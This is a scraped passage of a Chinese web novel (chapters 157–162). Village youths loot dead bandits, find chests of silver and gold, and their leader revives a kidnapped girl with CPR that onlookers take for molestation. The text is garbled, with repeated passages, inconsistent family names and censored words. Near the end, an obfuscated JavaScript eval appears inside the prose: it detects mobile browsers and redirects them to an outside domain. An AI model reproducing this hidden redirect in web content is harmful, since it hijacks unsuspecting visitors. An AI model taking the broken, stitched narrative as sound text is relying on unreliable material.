“兄弟们,搜身!” 孔远山一声吆喝,顿时来了精神,两眼放光。 其他人也跃跃欲试。 几个萌新菜鸟,虽然还有些不适应,但看到别人都动手了,也壮着胆子凑了上去。 摸尸这种事,也是会上瘾的。 开始是几个衙役和地痞。 孔远山从一个泼皮怀里掏出一个钱袋,掂了掂,还挺沉。 打开一看,里面白花花的一片,都是散碎银子。 “**,这帮家伙,还挺有钱!” 孔远山骂了一句,又从另一个差役身上搜出一个小包,打开一看,竟然是几锭官银! “发了,发了!” 几个小子眼睛都红了,这可比种地强多了! 苏阳看着他们,冷不丁地来了一句:“别光顾着摸尸,看看有没有值钱的物件,金的,玉的,都仔细找找!” “哎!” 孔远山一拍脑袋,怎么把这茬给忘了。 几个人又是一阵翻箱倒柜。 果然,从一个土匪身上搜出一个玉佩,虽然苏阳不懂玉,但看那水头,也知道不是凡品。 又从另一个土匪身上搜出一个金戒指,沉甸甸的,少说也值几两银子。 最让众人惊喜的,还是从那个大腿受伤的土匪身上搜出的东西。 除了几张银票,竟然还有两根黄澄澄的金条! 这下,所有人都沸腾了! “我的天,这么多金子!” “这得值多少钱啊!” “咱们这回可真是发大财了!” 苏阳在一旁看着,心里也是一阵激动。 不过,他可没忘了正事。 “都别愣着了!马车!马车上肯定还有好东西!” 他这一嗓子,总算把众人从狂喜中拉了回来。 “对啊,还有马车!” “快,看看马车上有什么!” 孔远山第一个反应过来,拔腿就往马车那边跑。 其他人也不甘示弱,一窝蜂地涌了过去。 马车上装的东西可不少,用油布盖着,鼓鼓囊囊的。 孔远山一把扯开油布,所有人都愣住了。 “这……这是……” 孔远山的声音都有些颤抖了。 只见马车上,整整齐齐地码放着一箱箱的货物,有绸缎,有茶叶,还有一些看不出名堂的坛坛罐罐。 “我的天,这得值多少钱啊!” 一个小子惊呼出声。 “咱们这回,是真的发达了!” 另一个小子喃喃自语。 “都别愣着了,赶紧搬下来,清点一下!” 苏阳的声音传来,带着一丝不容置疑的威严。几个小子嗷嗷叫着冲向马车,活像一群饿狼扑向了待宰的羔羊。 “阳哥儿,你……你快来!” 突然,有人变了调的尖叫,像是杀猪时猪的嚎叫。 苏阳眉头一皱,心说这帮小子,沉不住气,万一让那帮土匪听见风声…… 他还没想完,就被眼前的一幕给震住了,后半句话硬生生憋回了肚子里。 车上那木箱子早就撬开了,内部物品显露无遗。 那白花花,亮闪闪,几乎能把人眼睛晃瞎的东西……是银锭子? 整箱堆满了银饼! 这视觉冲击,就像是后世看惯了小电影,突然蹦出个4K高清无码大片,让人血脉贲张。 饶是苏阳两世为人,见过些世面,也难免心跳加速,手心冒汗。 “咳……”苏阳干咳一声,强装镇定,“一箱银子而已,瞧你们那点出息……” 他一边说着,一边“啪”地一声打开了另外一个箱子。 话音戛然而止。 还是白花花,亮闪闪。 还是一箱银锭子! 苏阳感觉有人在抽自己的脸,啪啪作响。 “那什么……不过是另一箱白花花罢了?至于这么震惊吗。我跟你们说,这点钱,以后咱们……” 苏阳赶紧闭嘴,再说下去,脸就真没地方搁了。 他“啪”地 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“让哥哥看看,是什么好东西……啊!” 路旭东一声惊呼,身体向后一仰,一屁股坐在了地上。 其他小子也被吓了一跳,一个个伸长了脖子,瞪大了眼睛,像是被定住了一样。 苏阳呢? 苏阳也傻眼了,张大了嘴巴,半天合不拢。 这……这**开挂了吧? 如果说前三个箱子给人带来的是震撼,那这一个箱子,带来的就是惊吓,不,是惊喜! 前三个箱子,开启后银光闪闪刺眼,是银子。 可这个箱子,打开之后竟然是金灿灿一片! 金子! 一整箱的黄金! 跟前面三箱银饼大小相当的一箱黄金! 别人不清楚,苏阳还能不知道吗? 黄金的密度比白银大多了,同样的体积,重量能差出一倍去! 这一箱约莫能值千两银,一箱黄金……这不得奔着两千两去了? 当然,古代的冶炼技术肯定没那么先进,黄金的纯度也没那么高,分量可能要打个折扣。 可就算打个对折,那也得有一千两啊! 三箱白银,将近三千两。 一箱黄金,就算一千两… 第一百五十七章 … 不对! 苏阳突然一拍脑门,他想起一件事。 大元朝的金银兑换比例,好像不是简单的一比十! 具体的数字,他这副身体的原主人根本就不知道。 他转头看向身边的这帮小子,希望有人能知道点内情。 结果,所有人都像看傻子一样看着他。 也难怪,这帮家伙前几天还吃了上顿没下顿呢,哪有心思关心金银的兑换比例? 苏阳叹了口气,看来,只能靠自己蒙了。 他记得,古代银子比金子值钱,具体多少……就按一比六算吧,肯定亏不了! 三千两银子,算上那箱黄金换来的六千两纹银…… 乖乖! 这加起来,得有九千两了啊! 这么多钱,青虎岭的土匪是从哪儿弄来的? 这还用问?肯定是凤子楼那个肥掌柜孝敬的! 苏阳差点没忍住笑出声来。 这下现世报了! 肥掌柜啊肥掌柜,你也有今天! 这么多钱,你竟然还惦记着那两千两银子,想算计老子,活该你倒霉! 不过,高兴之余,苏阳也有些担忧。 一下子抢了青虎岭这么多钱,人家肯定不会善罢甘休。 必须想个办法,把这事儿给遮掩过去! “都愣着干什么!赶紧把箱子盖上!” 苏阳一声低喝,把还在发呆的小子们给惊醒了。 他咬着牙,强忍着心痛,把四个箱子一一盖上。 “都给我听着!” 苏阳压低声音,语气严厉。 “今天的事,谁也不准说出去,一个字也不行!要是让我知道谁敢走漏了风声……” 他顿了顿,目光像刀子一样,从每一个人的脸上刮过。 “别怪我不讲兄弟情面!” 所有人都紧张地咽了口唾沫,他们知道,苏阳这话可不是说着玩的。 这事儿要是传出去,别说他们几个,就是整个青龙村,都得跟着遭殃! 苏阳足足盯了他们三遍,确定没有一个人眼中露出异样的神色,这才稍稍放下心来。 “好,我相信大家都是聪明人,知道轻重。总之,今天的事,就当没发生过,谁要是敢多嘴……” 他正说着,突然,耳朵动了动,像是听到了什么声音。 “等等,你们听……”清阳县,北门里。 高墙深院,雕梁画栋,本该是富贵安乐窝,此刻却透着一股死气沉沉的寒意。 肥掌柜软绵绵地靠在太师椅里,像一滩烂泥,脸色惨白如纸,眼神空洞无光。 半世的心血,一朝成空。 那些金山银海,那些古玩字画,还有那些如花美眷,都成了过眼苏烟。 县里的产业、乡下的田地,大半都签上了他的名字,盖上了他的手印,换成了一车车的金银,滚滚而去,带走了他所有的希望。 花厅里隐约传来的嬉闹声,像一把把尖刀,凌迟着他的心。 “顾明远……”肥掌柜咬牙切齿,每一个字都像是从喉咙深处挤出来的血,“你等着……只要我不死……定要你……百倍偿还!” 然而,此时此刻,无论是如丧家之犬的肥掌柜,还是春风得意的顾明远,都做梦也想不到,那辆满载着金银的马车,早已偏离了原定的轨迹。 …… 西城门外,两里地,密林深处。 苏阳的叮嘱戛然而止。 一种异样的声响,打破了林间的宁静,像是什么东西在低低地呜咽,又像是风穿过缝隙的悲鸣。 所有人都屏气凝神,竖起耳朵,捕捉着这诡异的声音。 “周阳,外面可有异常?”苏阳低声问道,目光却死死盯着马车。 “没有,阳哥儿,一切正常!”林外的周阳立刻回应,声音里带着一丝困惑。 怪了! 这声音到底是从哪儿冒出来的? 时断时续,若有若无,却又真真切切地存在,让人心里一阵阵发毛。 唰! 几乎是不约而同的,所有人的视线都集中在了马车上,落在了那两个鼓囊囊的铺盖卷上。 之前,金银晃花了眼,所有人都没注意到这两个铺盖卷有什么异样。 可现在,其中一个铺盖卷,竟然在微微地颤动! 像是有什么东西要破茧而出! 苏阳的心头一紧,他示意众人退后,自己则握紧了虎头弯刀。 经历了一场恶战,小子们都成长了,一个个握紧了手中的家伙什,刀枪棍棒,**齐备,紧张地对着那铺盖卷,做好了战斗准备。 嚓! 苏阳手起刀落,割断了绳索。 他深吸一口气,猛地掀开了 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不过,她似乎并不知道眼前这伙人的身份。 他手下那些小子们,可就没这份定力了。 一个个伸长了脖子,眼睛都快瞪出来了,就差流口水了。 也难怪,这些在村里长大的小子,哪见过这等标致的小美人? “阳哥儿,你倒是…倒是快点啊……” “就是,你跟她说那么多干啥,先把人放了再说啊……” 几个小子急不可耐地小声嘀咕着,却又不敢大声催促。 苏阳不动声色,继续和小丫鬟周旋。 他倒要看看,这小丫头能耍出什么花样来。 “你…你为何默不作声?你…你不会是……”小丫鬟见苏阳只是盯着她看,却不吭声,心里越来越慌。 她吞吞吐吐,欲言又止,眼神中闪过一丝恐惧。 苏阳觉得时机差不多了,再逗下去,手下这帮小子恐怕真要急出毛病来了。 他清了清嗓子,故作凶狠地说道:“小丫头,实话告诉你,我们是青虎岭的土匪!把你抓来,就是要让你当压寨夫人的!” “啊?压寨夫人?”小丫鬟的脸色瞬间变得煞白,“不… 第一百五十八章 不要啊!我…我听说,当了压寨夫人,会被…会被吃掉的……” 苏阳满头黑线,这都是什么稀奇古怪的玩意儿? “哼,怕了?怕了就老实交代,你是哪户人家的侍女?” “我…我…我乃赵府的下人……”小丫鬟带着哭腔说道。 “哪个赵老爷?”苏阳追问。 “还能有哪个?清阳县…就一个赵老爷!就是…就是开药铺的那个!”小丫鬟抽抽噎噎地回答,似乎觉得这个问题很蠢。 苏阳心中一惊。 开药铺的赵老爷? 这不就是药王街的钱掌柜吗? 今天刚做的买卖,这么快就遇上了他的家人? 这也太巧了吧! “那你怎么会在这里?”苏阳问道。 “我…我也不知道……”小丫鬟的眼神中充满了迷茫和恐惧,“我…我跟我家小姐在前庭院…荡秋千…然后…然后就什么都不记得了……” 她突然像是想起了什么,猛地抬起头,瞪大了眼睛:“对了!我家小姐呢?你们…你们把我小姐怎么样了?”“松开!快放开我!” 旁边的小丫鬟还在拼命扭动,试图挣脱绳索,声音已经带上了哭腔。 苏阳却像没听见一样,只是抬了抬下巴,朝身后的几个小子示意。 几个小子立刻会意,眼神重新变得锐利,握紧了手里的家伙什。 这年头,人心隔肚皮。 谁知道这娇滴滴的小丫头会不会使诈? 万一呢? 还是谨慎点好。 苏阳可不想阴沟里翻船。 眼见大部分手下都收起了那副见了女人就走不动道的德行,重新提起戒备。 苏阳这才抽出腰间的虎头弯刀,手起刀落,割断了捆着另一个铺盖卷的绳索。 “唰——” 裹得严严实实的铺盖卷应声散开。 “嘶……” 一阵倒吸凉气的声音。 一众小子眼睛都直了。 如果说,刚才那个小丫鬟还算清秀可人。 那这铺盖卷里露出来的,简直就是画里走出来的仙女! 乌黑的秀发如瀑布般倾泻而下,衬得那张脸愈发小巧精致。 赛过冬日初雪的肌肤,细腻得仿佛吹弹可破。 一身淡雅的衣裙,将少女曼妙的身姿勾勒得恰到好处。 这要是搁在平时,准能引来无数狂蜂浪蝶。 可现在…… 苏阳的眉头却微微皱了起来。 他可不是那些只看脸的肤浅之辈。 这少女虽然美得惊人,但脸色却透着一股不正常的青白,嘴唇也微微泛紫。 更重要的是,她的胸口,竟然没有一丝起伏! 苏阳心中一沉,来不及多想,直接伸手探向少女的鼻息。 “你……你个登徒子!敢动我家主子试试!” 小丫鬟这才如梦初醒,意识到自家小姐也落入了这伙贼人手中。 她急得眼泪都快掉下来了,声音尖利得几乎能刺破人的耳膜。 苏阳的手下们也都被这突如其来的一幕惊得一愣。 阳哥儿这是…… 真要霸王硬上弓? 这也太…… 太刺激了! 苏阳却仿佛什么也没听见,什么也没看见。 他的神情专注而严肃,伸出去的手没有一丝一毫的颤抖,稳稳地停在了少女的鼻端。 他不是要轻薄,更不是色迷心窍。 而是这少女…… 情况不妙啊! “呼……” 人群中,不知是谁松了口气,声音几不可闻。 几乎是同时,小丫鬟和一众小子也都暗自松了口气。 原来阳哥儿不是要…… 那就好,那就好! 这么一个如花似玉的小娘子,可千万别出什么岔子! 然而,这口气还没等完全松下来,苏阳的声音就冷不丁地响了起来: “没救了。” 这三个字,如同晴天霹雳,震得所有人都是一愣。 “啥?” “这……” “不能吧……” 质疑声,惊呼声,惋惜声,此起彼伏。 谁也不敢相信,这么一个活生生的大美人,就这么…… 香消玉殒了? 这也太…… 太让人难以接受了! 一众小子们只是觉得可惜,毕竟跟这少女非亲非故。 可那小丫鬟却是真的急了,也顾不上害怕了,冲着苏阳就嚷嚷起来: “你个杀千刀的坏蛋!还不赶紧放开我!我必须保护我家主子!” 苏阳理都没理她,直接“咔嚓”一声,割断了束缚着少女的绳索。 然后,在众人惊愕的目光中,一把扯出了塞在少女嘴里的布团。 紧接着,他深吸一口气,把手,缓缓地按在了少女的胸口。 “你……你个坏蛋!收起你的黑爪!” 小丫鬟的声音都变了调,尖利中带着绝望的嘶哑,眼泪再也 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可下一刻,她却又猛地瞪大了眼睛,像是看到了什么不可思议的事情。 只见苏阳把手里的虎头弯刀往旁边一扔,“腾”地一下站起身,然后,在众目睽睽之下,直接骑跨在了少女的身上! 这还不算完! 他居然还双手按在少女的胸口,一下,一下,又一下,有节奏地按压起来! 一下,又一下…… “啊啊啊啊啊……” 小丫鬟再也控制不住,发出一阵撕心裂肺的尖叫,声音凄厉得仿佛要把整个树林都给震塌。 这……这简直…… 简直比杀了她还难受! 一众小子也都彻底傻了眼,一个个张大了嘴巴,眼珠子都快掉出来了。 就连在树林外负责警戒的周阳,也忍不住探头探脑地朝这边张望。 阳哥儿…… 这…… 这是玩真的了? 几个在村里时就跟苏阳不对付的小子,心里更是乐开了花。 早就听说这小子跟村正家的小姨子不清不楚,还以为是谣传。 现在看来,八成是真的! 前些日子在符福家,谁知道他在楼上干了些什么? 第一百五十九章 把人家符大娘子折腾得死去活来,叫得那叫一个…… 现在倒好,连个已经断了气的小姑娘都不放过! 苏阳啊苏阳,你也有今天! 让你平时嚣张跋扈,这下看你怎么收场! 尽管心里幸灾乐祸,可这些小子却没一个敢出声的。 苏阳平日里积威太重,他们可不敢捋虎须。 只是一个个急得抓耳挠腮,心里别提多难受了。 这事儿要是传出去,阳哥儿的名声可就彻底毁了! 可让他们没想到的是,更出格的事情还在后面。 只见苏阳按了一会儿,似乎觉得效果不佳。 竟然直接俯下身,凑到少女的脸前,然后…… 然后…… 在众目睽睽之下,用嘴…… 对上了少女的唇! “轰”的一声,所有人的脑子都炸开了。 这…… 这…… 这还是人能干出来的事吗?! 对着一具冷冰冰的尸体下嘴…… 阳哥儿这是…… 这是饥不择食了啊! 小丫鬟已经彻底崩溃了。 她嗓子早就喊哑了,可还是止不住地发出呜呜咽咽的哭声,眼泪鼻涕糊了一脸。 她现在唯一的念头,就是把苏阳这个“禽兽”千刀万剐,**万段! 苏阳却像是什么也没听见,什么也没看见一样。 他现在满脑子想的,都是怎么把这小娘子从鬼门关里拉回来。 至于别的…… 谁在乎呢? 再说,自己这可是在救人! 虽然…… 虽然方式是有点…… 咳咳,特殊。 但非常时期,行非常之事嘛! 这少女明显是窒息而死。 想要救她,就得给她做人工呼吸,外加胸外按压。 这可是上辈子他在电视里学到的急救知识,关键时刻能救命的! 至于什么男女授受不亲…… 都什么时候了,还讲究这个? 再说,自己这是在做好事,又不是占便宜! 就算占了…… 那也是为了救人! 苏阳一边给自己做着心理建设,一边手下不停,按压,吹气,再按压,再吹气…… 如此反复,循环往复。 也不知过了多久,他只觉得胳膊都快抬不起来了,嘴唇也麻得没了知觉。 就在他快要坚持不住的时候,忽然感觉到,手下的胸膛,微微颤动了一下。 紧接着,少女的喉咙里,发出了一声微弱的呻吟。 苏阳顿时大喜过望! 有戏! 他连忙停下动作,侧耳倾听。 “咳……咳咳……” 少女的咳嗽声越来越清晰,越来越有力。 终于,她缓缓地睁开了眼睛。 “呼……” 苏阳长长地吐出一口气,只觉得浑身的力气都像是被抽空了一样,一屁股坐在地上。 这下,总算是把人给救回来了! “憋死老子了……” 他忍不住嘟囔了一句。 一众小子差点没集体栽倒。 憋死你活该! 居然连死去的姑娘都不肯放过,真是丧心病狂! 小丫鬟更是恨得牙根痒痒,眼睛里像是要喷出火来。 她恨不得把苏阳这个胆敢亵渎她家小姐的登徒子**万段,挫骨扬灰! 只可惜,她现在连动都动不了,更别提报仇了。 只能在心里一遍又一遍地诅咒着,期盼着老天爷能开开眼,降下一道雷,把这个“禽兽”给劈死!清阳县,药王街。 钱福生家的药铺后院,此刻比滚沸的油锅还要乱上三分。 钱掌柜几乎把整个宅子翻了个底朝天,连耗子洞都恨不得掏一遍,可还是寻不到自家宝贝闺女钱晓柔的半点踪迹。 今天,钱晓柔和丫鬟翠环在前庭院玩耍时,凭空消失了。 搜遍了宅院的每一个角落,别说人,连根头发丝都没找到。 最后,还是侍候钱晓柔的老妈子眼尖,发现前庭院倒座房里少了东西——平日里小姐和丫鬟玩累了,休息时用的两条铺盖不见了。 钱福生的心“咯噔”一下,顿时慌了神,忙不迭地派人上街去找。 清阳县就巴掌大小,孩子们常去玩耍的地方,掰着手指头都能数过来。 杨家的佣人们几乎把县城里里外外翻了个遍,逢人便打听,认识的不认识的都问了,可所有人都说没见过。 钱福生这下是彻底没了主意,六神无主,揣着银子就往衙门里奔,一路点头哈腰,上下打点,只求衙役们能行行好,帮他找回女儿。 不仅如此,他还亲笔写了悬赏公告,贴满了清阳县的大街小巷: 但凡有人能提供小姐的线索,赏银十两!< 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“阳哥儿平时就跟咱们不一样,莫非真是天上的神仙下凡?” “有可能,要不怎么能把**给亲活呢?” “嘘,小声点,别让阳哥儿听见,小心他不高兴!” …… 小丫鬟翠环此时的心情,比这帮小子们还要复杂。 她呆呆地望着苏阳,脑子里乱哄哄的,各种念头纷至沓来。 虽说她是药铺掌柜的丫鬟,可毕竟年纪还小,哪见过这等场面? 以前在药铺,她也见过不少大夫救人。 有扎针的,有灌药的,可从没见过……从没见过像苏阳这样,靠亲嘴就能把人从鬼门关拉回来的。 “这……这到底是什么法子?莫非是什么失传的秘术?” 小丫鬟脑子里充满了疑问,同时,一种异样的感觉,也悄悄爬上了她的心头。 她偷偷地瞄着苏阳,眼神闪躲,脸颊微微发烫。 “小姐……小姐被他亲了,那……那以后该怎么办呀?” “我……我是小姐的贴身丫鬟,要是小姐以后……那我是不是也……” 想到这里,翠环的脸“唰”地一下红到了耳根,心跳得厉害,仿佛揣了只小鹿,扑通扑通乱撞。 “呸呸呸,翠环,你想什么呢! 第一百六十章 ” 她在心里暗暗啐了自己几口,可那颗躁动的心,却怎么也平静不下来。 …… 和翠环相比,钱晓柔心里的惊涛骇浪,更是有过之而无不及。 她缓缓睁开眼睛,入眼的,是破败的庙宇,简陋的摆设,还有……还有一张近在咫尺的陌生男人的脸。 这是哪儿? 我是谁? 发生了什么? 钱晓柔的脑子一片混沌,记忆还停留在昏迷前的最后一刻。 她只记得,自己和翠环在前庭院玩耍,然后……然后就什么都不记得了。 “我……我这是怎么了?” 她挣扎着想要起身,却发现浑身无力,连动动手指都困难。 努力回想,断断续续的记忆碎片,开始在脑海中拼凑。 被按胸口,被渡气…… 那些原本模糊的感知,此刻变得无比清晰。 自己被人轻薄了! 这个念头如同一道闪电,瞬间击中了钱晓柔。 “你……你是谁?!” 她用尽全身力气,嘶哑着嗓子质问苏阳。 苏阳还没从震惊中回过神来,冷不丁被钱晓柔这么一问,顿时愣住了。 他看着眼前这张因为愤怒而扭曲的俏脸,心里五味杂陈。 “我救了你,你却……唉!” 苏阳长叹一声,刚想解释,却被钱晓柔接下来的举动惊呆了。 只见钱晓柔突然抬起手,狠狠地朝他脸上扇去! “啪!” 一声脆响,在破庙中回荡。 苏阳的脸上,顿时多了五个鲜红的指印。 他被打懵了,完全没想到,自己拼死拼活救回来的人,竟然会这样对他。 “你疯了?!” 苏阳怒吼,声音中充满了难以置信和愤怒。 钱晓柔却像是没听见一样,依旧死死地盯着他,眼神中充满了恨意: “你这个禽兽!我……我就是做鬼也不会放过你!” “做鬼?” 苏阳冷笑一声, “你以为你现在不是鬼吗?要不是我,你早就去阎王殿报到了!” “你……你胡说!” 钱晓柔根本不相信苏阳的话, “我明明……明明……” 她想说自己明明是被**了,可话到嘴边,却又说不出口。 因为她发现,自己竟然真的想不起来,昏迷前到底发生了什么。 就在这时,一旁的小丫鬟翠环再也忍不住了,她“哇”的一声哭了出来, “小姐,你……你真的差点**!是……是他救了你啊!” “什么?!” 钱晓柔如遭雷击,整个人都僵住了。 她难以置信地看着翠环,又看了看一脸怒容的苏阳,脑子里一片混乱。 “我……我真的……**?” 翠环一边哭,一边断断续续地把事情的经过,给钱晓柔讲了一遍。 钱晓柔听完,整个人都傻了,呆呆地坐在那里,一句话也说不出来。 她怎么也想不到,自己竟然真的在鬼门关走了一遭,而救她的人,竟然是……竟然是这个轻薄她的“登徒子”。 “我……我错怪他了?” 这个念头在钱晓柔的脑海中不断回荡,让她羞愧难当。 “啊!你个忘恩负义的毒妇!” 苏阳彻底爆发了,他一把抓过身旁的虎头弯刀,怒吼着向钱晓柔扑去! “啊——不要!” 翠环吓得魂飞魄散,尖叫着想要阻止,却已经来不及了。“啊!你个忘恩负义的毒妇!” 苏阳一声怒吼,反手抄起别在腰间的虎头弯刀,刀尖直指身下的钱晓柔,作势就要扎下去! “啊——不要!” 旁边的小丫鬟翠环吓得魂飞魄散,嘴里发出一声凄厉的尖叫,想都没想就扑了过来,试图阻止这可怕的一幕。 周围的一帮小子们也都懵了。 啥情况? 阳哥儿这是动真格的了? 虽说这杨家小姐的确是有点儿不知好歹,恩将仇报,可阳哥儿真要一刀结果了她?这……是不是有点太过了? 一时间,竟没人敢上前阻拦。 甚至有几个小子眼神闪烁,心里已经泛起了杀意: “这女人,真**给脸不要脸!阳哥儿救了她,她还想害阳哥儿?” “这种女人活着也是个祸害,不如**干净!” 对他们来说,苏阳就是天,苏阳的话就是圣旨。 想想以前过的那是什么狗日子? 破衣烂衫,吃了上顿没下顿,每天不是饿肚子就是挨打,简直生不如死! 再看看现在,顿顿都能吃饱饭,偶尔还能见点儿荤腥,这日子,比地主老财家都舒坦! 可就刚刚,这眼瞅着就要到手的好日子,差点儿就让这女人给搅和了! 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他这一下只是做做样子,吓唬吓唬这不知好歹的小娘们儿,可没真想一刀捅死她。 先不说杨家药铺还有大用,也不说这小娘们儿长得的确招人稀罕,众目睽睽之下,他也不能随便**立威啊! 他是要带着这帮兄弟干一番大事业的,可不是要带着他们落草为寇!要是把这帮小子带歪了,那可就全完了。 劫富济贫?行! 有仇报仇?没问题! 就算哪天想不开要**……也不是不行。 可绝不能把他们变成一群只知道**的野兽! 苏阳心里跟明镜似的,他可不想自己一手带出来的队伍,变成一群没有底线的疯子。 可谁想到这小娘皮看着娇滴滴的,性子居然这么烈! 不仅不怕死,还主动往刀尖上撞? 这是嫌自己死得不够快? 苏阳哪敢真扎下去,手腕急忙一转,硬生生收回了力道。 锋利的刀尖在距离钱晓柔胸口不到一寸的地方停了下来,刀锋带起的风,甚至吹起了她胸前的衣襟。 “呼……” 钱晓柔也吓得不轻,感觉自己像是从鬼门关走了一遭。 第一百六十一章 她紧闭双眸苦等许久,没感觉到疼痛,这才壮着胆子,偷偷睁开一条缝。 这一看,差点儿没把她气晕过去! 只见骑在自己身上的那个家伙,正一脸戏谑地盯着自己,那眼神,要多可恶有多可恶! “我……我跟你拼了!” 钱晓柔又羞又怒,也不知道哪儿来的力气,尖叫一声,再次挺起胸膛,朝那还没来得及收回去的刀尖撞去! “嘿!你这小娘们儿,还没完了是吧?” 苏阳这下是真火了,额头上的青筋都蹦起来了。 见过寻死觅活的,没见过这么上赶着找死的! 好死不如赖活着,这道理你不懂? 要不是自己反应快,你这胸口非得被捅个窟窿不可! 苏阳哪知道,人家钱晓柔是把他当成了无恶不作的绑匪。 明知道落到绑匪手里肯定生不如死,不如即刻赴死,也能少受点儿罪。 “小姐!小姐!你别冲动!他是好人!他真是好人啊!” 就在这电光火石之间,旁边的小丫鬟翠环终于反应了过来,连滚带爬地扑了过来,一把抱住钱晓柔的腰,声嘶力竭地哭喊着。 其实,翠环哪知道苏阳是好人还是坏人,更不知道苏阳带人杀了那些**她们的凶徒。 她只知道,这人刚才救了自家小姐的命,就算他真是个坏人,应该也坏不到哪儿去吧? “嘎?” 钱晓柔正准备拼个鱼死网破呢,冷不丁听到翠环这话,动作猛地一僵,高耸的胸脯停在半空中,像两只受惊的小白兔,微微颤抖着。 能不死,谁愿意**啊? 先听听翠环怎么说,再做决定也不迟。 再说了,这刀尖离得也太近了,万一真碰上了……那可就真完了! 苏阳也长出了一口气,感觉后背都湿透了。 方才那刹那,他真以为自己要失手**了。 他正琢磨着,实在不行就给这小娘们儿来一巴掌,让她清醒清醒。 听说对付这种不讲理的女人,就得简单粗暴,直接打服了事! 苏阳这辈子也没跟哪个姑娘打过交道,哪懂这些乱七八糟的。 不过,当苏阳的目光,不经意间扫过钱晓柔那高耸的胸脯时,身体某个部位竟然不争气地起了反应! “啊!” 钱晓柔一声惊呼,还以为苏阳身上藏了什么厉害的暗器呢,吓得脸色惨白,本能地往后缩。 “小姐,你刚才……你刚才都没气儿了,是他……是他给你做了人工呼吸……才把你救回来的!” 翠环见钱晓柔终于冷静了下来,赶紧扑到她身前,一边用身体护住自家小姐,一边结结巴巴地解释着。 钱晓柔:“……” “小姐,虽说……虽说他这人工呼吸,有点儿……有点儿占便宜的嫌疑,可毕竟是为了救你嘛!你就大人不记小人过,饶了他这回吧!等回去了,咱们再告诉老爷,让他好好收拾这个登徒子!” 翠环越说越激动,声音里都带上了哭腔。 钱晓柔:“……” 苏阳:“……” 苏阳一脸黑线,这都什么跟什么啊? 谁占便宜了? 还登徒子? 这小丫鬟,脑子里都装的啥? 还有,啥叫“人工呼吸”? 这词儿听着……咋这么别扭呢?“周阳!你小子眼珠子往哪儿瞟呢?贼溜溜的,再看把你眼珠子抠出来!赶紧滚出去警戒!” 苏阳一个箭步跨出马车,稳稳落地,顺势一脚踹在周阳屁股上。这一脚不轻不重,既有警告的意思,也有几分玩笑的成分。 “你们这帮人,麻溜地,摸尸去!手脚都给老子放利索点!” “愣着干嘛?两个丫头片子有什么好看的?赶紧挖坑!再磨蹭,天都黑透了!” 苏阳叉着腰,活像个监工头子,嘴里不停地吆喝着。刚从钱晓柔身上下来,他得找点事儿做,老这么骑着人家,指不定被传成什么样。 至于小丫鬟翠环如何安慰钱晓柔,苏阳压根不想理。他现在满脑子都是怎么处理善后,哪有心思管这些儿女情长。 “啊——” “啊——” 冷不丁,背后突然传来两声杀猪般的尖叫,像两把尖刀似的刺进苏阳的耳膜,震得他脑瓜子嗡嗡的。这声音,比杀猪还瘆人。 “你们这俩小丫头,属尖叫鸡的啊?大呼小叫,是想把狼招来,还是想把鬼招来?” 苏阳猛地扭头,却发现是两个小丫鬟盯着地上的尸体,吓得花容失色。 刚才这俩丫头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16073597|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直瘫在马车里,跟霜打的茄子一样,蔫头耷脑。现在坐起来,眼界开阔了,看到这满地的尸体和血污,能不害怕吗?更别提这些青春期小女生,就是心智不坚的男人,估计也得吓瘫了。 “这下知道谁才是真心为你好了吧?要不是我们兄弟几个拼死拼活,你们早就被他们……” 苏阳话到嘴边,硬生生刹住。差点说漏嘴,这要是传出去,自己的光辉形象可就全毁了。他可不想被人当成好色之徒。 “……被他们杀了!” 苏阳赶紧补救,语气也缓和了不少。 地上横七竖八躺着的尸体,无声地诉说着刚才的惨烈。再看看苏阳他们,虽然一个个灰头土脸,衣服上也沾着血迹,但眼神清亮,怎么看也不像坏人。两个小姑娘也是见过世面的人,稍微一琢磨,也就明白过来了。 “……是那群人把咱们抓来的,不是你们?” 钱晓柔的声音还带着一丝颤抖,像是惊弓之鸟。 苏阳翻了个白眼,心想:这反射弧也太长了吧?这不明摆着的事儿吗? “废话!是我们把你们掳来的,现在把你们放走了,这不是多此一举吗?难不成我们闲得慌,玩过家家?” 苏阳没好气地说。 “啊?搞了半天你们是友军啊!” 翠环恍然大悟,语气里带着一丝歉意。 苏阳心里嘀咕:长得倒是挺俊俏,就是脑子不太灵光。 见苏阳一脸不屑,翠环不乐意了,小嘴一撅。 “哼,我们又不知道,你凶什么凶!” 苏阳摇了摇头,没吱声,只是用余光扫了翠环一眼。他心想:跟小丫头片子置气,有失身份。 钱晓柔的心情,像是十五个吊桶打水——七上八下。苏阳救了她,可又……轻薄了她。 “这……这可如何是好?” 钱晓柔心里乱成一团麻。 翠环多精啊,一眼就看穿了钱晓柔的心思。 “小姐,这有啥好愁的?等咱们回去,就告诉老爷,让他做主,把你许配给那个……那个救你的恩公,这不就完事了吗?” 翠环凑到钱晓柔耳边,小声嘀咕。 “哎呀!你瞎说什么呢!这种话能乱说吗?” 钱晓柔羞得满脸通红,狠狠地瞪了翠环一眼。 第一百六十二章 “嘘……” 钱晓柔偷偷地四下张望,见没人注意到她们,这才松了口气。 见苏阳一直不搭理自己,翠环更不高兴了,小嘴撅得老高。 “喂,你这人!咋不搭理我们呢?还在生我们的气啊?” 苏阳停下手里的活计,缓缓地转过身。 “哼,有啥可聊的?恩将仇报可还行,这种人,不值得我浪费口舌。” 苏阳的语气里带着一丝不悦。 “你……” 翠环被噎得够呛。她本就生得珠圆玉润,这一生气,胸脯鼓得更高了。 “谁让你……轻薄我家小姐了!” 钱晓柔觉得脸上火辣辣的。她知道自己误会了苏阳,可苏阳对她做的那事……也确实让她难以接受。 “我……我不是故意的……我不知道……” 钱晓柔的声音越来越小,最后几乎微不可闻。 翠环像一只护崽的母鸡。 “哼,你还好意思说!要不是你……你对我家小姐那样,我们会误会你吗?” 苏阳一听这话,顿时火冒三丈。合着自己救人还救出错了? “你们懂什么?我那是……那是……” 